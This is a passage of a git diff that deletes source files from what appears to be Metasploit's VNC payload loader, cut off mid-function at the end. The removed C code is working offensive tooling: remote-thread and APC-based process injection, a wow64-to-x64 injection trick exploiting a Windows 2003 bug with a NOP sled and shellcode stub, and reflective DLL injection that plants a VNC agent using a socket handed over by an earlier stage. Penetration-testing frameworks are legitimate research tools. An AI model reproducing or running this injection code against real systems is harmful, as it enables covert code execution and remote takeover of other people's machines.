PROCESS_ARCH_X64 ) - { - // injecting x64->x64 (and the same stub for x86(wow64)->x64) - lpApcStub = &apc_stub_x64; - dwApcStubLength = sizeof( apc_stub_x64 ); - - if( dwMeterpreterArch == PROCESS_ARCH_X86 ) - { - // injecting x86(wow64)->x64 - - // For now we leverage a bug in wow64 to get x86->x64 injection working, this - // will simply fail gracefully on systems where the technique does not work. - - MEMORY_BASIC_INFORMATION mbi = {0}; - LPVOID lpRemoteAddress = NULL; - BYTE * lpNopSled = NULL; - BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; - - /* - // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. - // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, - // however the start address of the new APC in the native x64 process is not what we specify but instead it is - // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc - // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there - // injection will continue as normal. - - // The registers on the native x64 process after the queued APC is attempted to run: - rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process - rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param) - rdx = dwApcStatusBlock // unused - r8 = dwApcReserved // unused - - // On the WOW64 process side: - wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine - wow64:000000006B0095F0 - wow64:000000006B0095F0 public Wow64ApcRoutine - - // On the native x64 process side: - ntdll:0000000077EF30A0 public KiUserApcDispatcher - ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value - ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock - ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved - ntdll:0000000077EF30AE mov r9, rsp - ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine! - - // Our bStub: - 00000000 4889C8 mov rax, rcx - 00000003 48C1E120 shl rcx, 32 - 00000007 48C1E920 shr rcx, 32 - 0000000B 48C1E820 shr rax, 32 - 0000000F FFE0 jmp rax - */ - - // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... - // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. - lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteAddress ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); - - if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); - - lpNopSled = (BYTE *)malloc( mbi.RegionSize ); - if( !lpNopSled ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); - - memset( lpNopSled, 0x90, mbi.RegionSize ); - - if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) - - if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) - - free( lpNopSled ); - } - } - else - { - SetLastError( ERROR_BAD_ENVIRONMENT ); - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) - } - - hNtdll = LoadLibraryA( "ntdll" ); - if( !hNtdll ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) - - pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); - if( !pNtQueueApcThread ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) - - hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); - if( !hThreadSnap ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) - - if( !Thread32First( hThreadSnap, &t ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) - - // Allocate memory for the apc stub and context - lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteApcStub ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) - - // Simply determine the apc context address - lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); - - dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext ); - - // Write the apc stub to memory... - if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) - - // Write the apc context to memory... - if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) - - do - { - HANDLE hThread = NULL; - - // Only proceed if we are targeting a thread in the target process - if( t.th32OwnerProcessID != dwProcessID ) - continue; - - // Open a handle to this thread so we can do the apc injection - hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); - if( !hThread ) - continue; - - dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); - - // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt - // an ssl connection back but the client side will not be ready to accept it and we loose the session. - if( SuspendThread( hThread ) != (DWORD)-1 ) - { - hThreadList[ dwListIndex ] = hThread; - dwListIndex += 1; - - // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target - // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. - // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. - if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) - { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); - dwResult = ERROR_SUCCESS; - } - else - { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); - } - } - else - { - CloseHandle( hThread ); - } - - // keep searching for more target threads to inject our apc stub into... - - } while( Thread32Next( hThreadSnap, &t ) && dwListIndex < MAXT-1 ); - - } while( 0 ); - - if( dwListIndex ) - { - HANDLE hThread = NULL; - // Resume all the threads which we queued our apc into - while( dwListIndex > 0 ) - { - dwListIndex -= 1; - hThread = hThreadList[ dwListIndex ]; - if( !hThread ) - break; - ResumeThread( hThread ); - CloseHandle( hThread ); - } - } - - if( hThreadSnap ) - CloseHandle( hThreadSnap ); - - if( hNtdll ) - FreeLibrary( hNtdll ); - - SetLastError( dwResult ); - - return dwResult; -} - -/* - * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) - * enviroment into a native x64 enviroment and accessing the native win64 API's. - * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new - * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out - * Windows 2003 from this method of injection, however the APC injection method will work on 2003. - */ -DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) -{ - DWORD dwResult = ERROR_SUCCESS; - EXECUTEX64 pExecuteX64 = NULL; - X64FUNCTION pX64function = NULL; - WOW64CONTEXT * ctx = NULL; - OSVERSIONINFO os = {0}; - - do - { - os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); - - if( !GetVersionEx( &os ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) - - // filter out Windows 2003 - if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) - { - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) - } - - // alloc a RWX buffer in this process for the EXECUTEX64 function - pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !pExecuteX64 ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) - - // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) - pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !pX64function ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) - - // copy over the wow64->x64 stub - memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); - - // copy over the native x64 function - memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); - - // set the context - ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); - - ctx->h.hProcess = hProcess; - ctx->s.lpStartAddress = lpStartAddress; - ctx->p.lpParameter = lpParameter; - ctx->t.hThread = NULL; - - dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); - - // Transition this wow64 process into native x64 and call pX64function( ctx ) - // The native function will use the native Win64 API's to create a remote thread in the target process. - if( !pExecuteX64( pX64function, (DWORD)ctx ) ) - { - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) - } - - if( !ctx->t.hThread ) - { - SetLastError( ERROR_INVALID_HANDLE ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) - } - - // Success! grab the new thread handle from of the context - *pThread = ctx->t.hThread; - - dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); - - } while( 0 ); - - if( pExecuteX64 ) - VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); - - if( pX64function ) - VirtualFree( pX64function, 0, MEM_DECOMMIT ); - - return dwResult; -} - -/* - * Attempte to gain code execution in the remote process by creating a remote thread in the target process. - */ -DWORD inject_via_remotethread( HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) -{ - DWORD dwResult = ERROR_SUCCESS; - HANDLE hThread = NULL; - DWORD dwThreadId = 0; - - do - { - // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread - // fails, giving us a chance to try an alternative method or fail migration gracefully. - hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId ); - if( !hThread ) - { - if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 ) - { - // injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here). - - if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" ) - } - else - { - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" ) - } - } - - dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." ); - // Resume the injected thread... - if( ResumeThread( hThread ) == (DWORD)-1 ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" ) - - } while( 0 ); - - if( hThread ) - CloseHandle( hThread ); - - SetLastError( dwResult ); - - return dwResult; -} - -extern DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine ); -extern DWORD loader_inject_post( DWORD dwPid, HANDLE hProcess, DWORD dwInjectResult ); - -/* - * Inject a DLL image into a process via Reflective DLL Injection. - * - * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for - * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() - * in stdapi will handle this automatically. - * - * Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's - * in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset() - * will check for this and fail gracefully. - * - * Note: This function largely depreciates LoadRemoteLibraryR(). - */ -DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght ) -{ - DWORD dwResult = ERROR_ACCESS_DENIED; - DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; - LPVOID lpRemoteCommandLine = NULL; - HANDLE hProcess = NULL; - LPVOID lpRemoteLibraryBuffer = NULL; - LPVOID lpReflectiveLoader = NULL; - DWORD dwReflectiveLoaderOffset = 0; - char cCommandLine[COMMANDLINE_LENGTH] = {0}; - - do - { - if( !lpDllBuffer || !dwDllLenght ) - BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER ); - - // check if the library has a ReflectiveLoader... - dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer ); - if( !dwReflectiveLoaderOffset ) - BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION ); - - hProcess = OpenProcess( SYNCHRONIZE | PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); - if( !hProcess ) - BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); - - dwResult = loader_inject_pre( dwPid, hProcess, (char *)&cCommandLine ); - if( dwResult != ERROR_SUCCESS ) - BREAK_ON_ERROR( "[INJECT] inject_dll. loader_inject_pre failed." ); - - if( strlen(cCommandLine) ) - { - // alloc some space and write the commandline which we will pass to the injected dll... - lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); - if( !lpRemoteCommandLine ) - BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); - - if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, &cCommandLine, strlen(cCommandLine)+1, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); - } - - // alloc memory (RWX) in the host process for the image... - lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteLibraryBuffer ) - BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); - - // write the image into the host process... - if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); - - // add the offset to ReflectiveLoader() to the remote library address... - lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); - - // First we try to inject by directly creating a remote thread in the target process - if( inject_via_remotethread( hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) - { - dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); - - // If that fails we can try to migrate via a queued APC in the target process - if( inject_via_apcthread( hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) - BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) - } - - dwResult = ERROR_SUCCESS; - - } while( 0 ); - - return loader_inject_post( dwPid, hProcess, dwResult ); -} diff --git a/external/source/vncdll/loader/inject.h b/external/source/vncdll/loader/inject.h deleted file mode 100644 index 46c7a62712..0000000000 --- a/external/source/vncdll/loader/inject.h +++ /dev/null @@ -1,102 +0,0 @@ -// Copyright (C) 2006-2010, Rapid7 LLC -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7 LLC nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_INJECT_H -#define _VNCDLL_LOADER_INJECT_H -//===============================================================================================// - -#define COMMANDLINE_LENGTH 1024 - -//===============================================================================================// - -// Definition of ntdll!NtQueueApcThread -typedef DWORD (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved ); - -// Definitions used for running native x64 code from a wow64 process (see executex64.asm) -typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); -typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); - -//===============================================================================================// - -// The context used for injection via migrate_via_apcthread -typedef struct _APCCONTEXT -{ - union - { - LPVOID lpStartAddress; - BYTE bPadding1[8]; - } s; - - union - { - LPVOID lpParameter; - BYTE bPadding2[8]; - } p; - - BYTE bExecuted; - -} APCCONTEXT, * LPAPCCONTEXT; - -// The context used for injection via migrate_via_remotethread_wow64 -typedef struct _WOW64CONTEXT -{ - union - { - HANDLE hProcess; - BYTE bPadding2[8]; - } h; - - union - { - LPVOID lpStartAddress; - BYTE bPadding1[8]; - } s; - - union - { - LPVOID lpParameter; - BYTE bPadding2[8]; - } p; - union - { - HANDLE hThread; - BYTE bPadding2[8]; - } t; -} WOW64CONTEXT, * LPWOW64CONTEXT; - -//===============================================================================================// - -DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ); - -DWORD inject_via_remotethread( HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ); - -DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght ); - -//===============================================================================================// -#endif -//===============================================================================================// \ No newline at end of file diff --git a/external/source/vncdll/loader/loader.c b/external/source/vncdll/loader/loader.c deleted file mode 100644 index c7d7d2626e..0000000000 --- a/external/source/vncdll/loader/loader.c +++ /dev/null @@ -1,428 +0,0 @@ -// sf: March 2010. - -#include "loader.h" -#include "context.h" -#include "ps.h" -#include "session.h" -#include "inject.h" -#include "ReflectiveLoader.h" - -#define VNCFLAG_DISABLECOURTESYSHELL 1 -#define VNCFLAG_DISABLESESSIONTRACKING 2 - -/* - * The HINSTANCE of this injected dll. - */ -extern HINSTANCE hAppInstance; - -/* - * The socket created by stage one. - */ -SOCKET sock = INVALID_SOCKET; - -/* - * Flag to disable following the active session as users log in an out of the input desktop. - */ -BOOL bDisableSessionTracking = FALSE; - -/* - * The event that signals the remote client has closed the socket connection. - */ -HANDLE hSocketCloseEvent = NULL; - -/* - * The event to terminate the vnc agent. - */ -HANDLE hAgentCloseEvent = NULL; - -/* - * The process hosting the vnc agent. - */ -HANDLE hAgentProcess = NULL; - -/* - * The rfb streams context we keep for the agent (see context.c) - */ -extern AGENT_CTX AgentContext; - -/* - * Extract the vnc.dll into the provided DLL_BUFFER. - */ -DWORD loader_vncdll( DLL_BUFFER * pDllBuffer ) -{ - DWORD dwResult = ERROR_SUCCESS; - HRSRC hVncResource = NULL; - HGLOBAL hVncResourceLoad = NULL; - LPVOID lpVncDllBuffer = NULL; - DWORD dwVncDllSize = 0; -#ifdef _WIN64 - DWORD dwCompiledArch = PROCESS_ARCH_X64; -#else - DWORD dwCompiledArch = PROCESS_ARCH_X86; -#endif - - do - { - if( !pDllBuffer ) - BREAK_WITH_ERROR( "[LOADER] Init. pDllBuffer is null", ERROR_INVALID_PARAMETER ); - - pDllBuffer->dwPE64DllLenght = 0; - pDllBuffer->lpPE64DllBuffer = NULL; - pDllBuffer->dwPE32DllLenght = 0; - pDllBuffer->lpPE32DllBuffer = NULL; - - hVncResource = FindResource( (HMODULE)hAppInstance, "IDR_VNC_DLL", "IMG" ); - if( !hVncResource ) - BREAK_ON_ERROR( "[LOADER] Init. FindResource failed" ); - - dwVncDllSize = SizeofResource( (HMODULE)hAppInstance, hVncResource ); - if( !dwVncDllSize ) - BREAK_ON_ERROR( "[LOADER] Init. SizeofResource failed" ); - - hVncResourceLoad = LoadResource( (HMODULE)hAppInstance, hVncResource ); - if( !hVncResourceLoad ) - BREAK_ON_ERROR( "[LOADER] Init. LoadResource failed" ); - - lpVncDllBuffer = LockResource( hVncResourceLoad ); - if( !lpVncDllBuffer ) - BREAK_ON_ERROR( "[LOADER] Init. LockResource failed" ); - - dprintf( "[LOADER] Init. lpVncDllBuffer=0x%08X, dwVncDllSize=%d", lpVncDllBuffer, dwVncDllSize ); - - if( dwCompiledArch == PROCESS_ARCH_X64 ) - { - pDllBuffer->dwPE64DllLenght = dwVncDllSize; - pDllBuffer->lpPE64DllBuffer = lpVncDllBuffer; - } - else if( dwCompiledArch == PROCESS_ARCH_X86 ) - { - pDllBuffer->dwPE32DllLenght = dwVncDllSize; - pDllBuffer->lpPE32DllBuffer = lpVncDllBuffer; - } - - } while( 0 ); - - SetLastError( dwResult ); - - return dwResult; -} - -/* - * A pre injection hook called before our dll has been injected into a process. - */ -DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine ) -{ - DWORD dwResult = ERROR_SUCCESS; - LPVOID lpMemory = NULL; - AGENT_CTX RemoteAgentContext = {0}; - int i = 0; - - do - { - if( !hProcess || !cpCommandLine ) - BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER ); - - // Use User32!WaitForInputIdle to slow things down so if it's a new - // process (like a new winlogon.exe) it can have a chance to initilize... - // Bad things happen if we inject into an uninitilized process. - WaitForInputIdle( hProcess, 10000 ); - - CLOSE_HANDLE( hAgentCloseEvent ); - CLOSE_HANDLE( hAgentProcess ); - - memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) ); - - hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL ); - if( !hAgentCloseEvent ) - BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" ); - - if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) ) - BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" ) - - dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock ); - - // Duplicate the socket for the target process - if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR ) - BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" ) - - // Allocate memory for the migrate stub, context and payload - lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); - if( !lpMemory ) - BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" ) - - /*for( i=0 ; i<4 ; i++ ) - { - DWORD dwSize = 0; - - if( !AgentContext.dictionaries[i] ) - continue; - - dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength ); - - RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); - if( !RemoteAgentContext.dictionaries[i] ) - continue; - - if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) ) - RemoteAgentContext.dictionaries[i] = NULL; - }*/ - - // Write the ctx to memory... - if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) ) - BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" ) - - hAgentProcess = hProcess; - - _snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory ); - - } while( 0 ); - - if( dwResult != ERROR_SUCCESS ) - { - dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" ); - CLOSE_HANDLE( hAgentCloseEvent ); - } - - return dwResult; -} - -/* - * Close the various global handles we created for the agent.. - */ -VOID loader_agent_close( VOID ) -{ - CLOSE_HANDLE( hAgentCloseEvent ); - CLOSE_HANDLE( hAgentProcess ); -} - -/* - * A post injection hook called after our dll has been injected into a process. - */ -DWORD loader_inject_post( DWORD dwPid, HANDLE hProcess, DWORD dwInjectResult ) -{ - do - { - // if we have successfully injected, run the io thread and return - if( dwInjectResult == ERROR_SUCCESS ) - { - // we only want the agent to do the RFB initilization once (for the remote viewer) - if( AgentContext.bInit ) - AgentContext.bInit = FALSE; - break; - } - - // but if injection failed close the process handle - CLOSE_HANDLE( hProcess ); - - loader_agent_close(); - - } while( 0 ); - - return dwInjectResult; -} - -/* - * Entry Point. - */ -DWORD Init( SOCKET s ) -{ - DWORD dwResult = ERROR_SUCCESS; - BOOL bTerminate = FALSE; - HANDLE hMessageThread = NULL; - DLL_BUFFER VncDllBuffer = {0}; - char cCommandLine[MAX_PATH] = {0}; - DWORD dwHostSessionId = 0; - DWORD dwActiveSessionId = 0; - DWORD dwAgentSessionId = 0xFFFFFFFF; - BYTE bFlags = 0; - - __try - { - do - { - // We maintain state for the rfb stream so as not to desynchronize the remote - // client after session switching and the injection of multiple agents server side. - context_init(); - - sock = s; - if( sock == INVALID_SOCKET ) - BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER ); - - if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR ) - BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" ); - - if( bFlags & VNCFLAG_DISABLECOURTESYSHELL ) - AgentContext.bDisableCourtesyShell = TRUE; - - if( bFlags & VNCFLAG_DISABLESESSIONTRACKING ) - bDisableSessionTracking = TRUE; - - dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags ); - - // get the vnc dll we will inject into the active session - if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS ) - BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" ); - - // create a socket event and have it signaled on FD_CLOSE - hSocketCloseEvent = WSACreateEvent(); - if( hSocketCloseEvent == WSA_INVALID_EVENT ) - BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" ); - - if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR ) - BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" ); - - // get the session id that our host process belongs to - dwHostSessionId = session_id( GetCurrentProcessId() ); - - hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL ); - if( !hMessageThread ) - BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" ); - - // loop untill the remote client closes the connection, creating a vnc - // server agent inside the active session upon the active session changing - while( !bTerminate ) - { - // in case we have been waiting for a session to attach to the physical - // console and the remote client has quit, we detect this here... - if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 ) - { - dprintf( "[LOADER] Init. Remote socket closed, terminating1..." ); - break; - } - - // get the session id for the interactive session - dwActiveSessionId = session_activeid(); - - // test if there is no session currently attached to the physical console... - if( dwActiveSessionId == 0xFFFFFFFF ) - { - dprintf( "[LOADER] Init. no session currently 